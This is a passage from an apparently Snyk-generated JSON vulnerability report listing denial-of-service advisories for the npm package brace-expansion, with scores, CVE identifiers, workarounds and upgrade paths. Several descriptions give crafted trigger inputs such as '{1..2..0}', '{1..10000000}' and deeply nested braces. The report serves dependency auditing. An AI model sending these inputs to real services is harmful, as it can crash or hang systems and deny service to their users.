"moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", 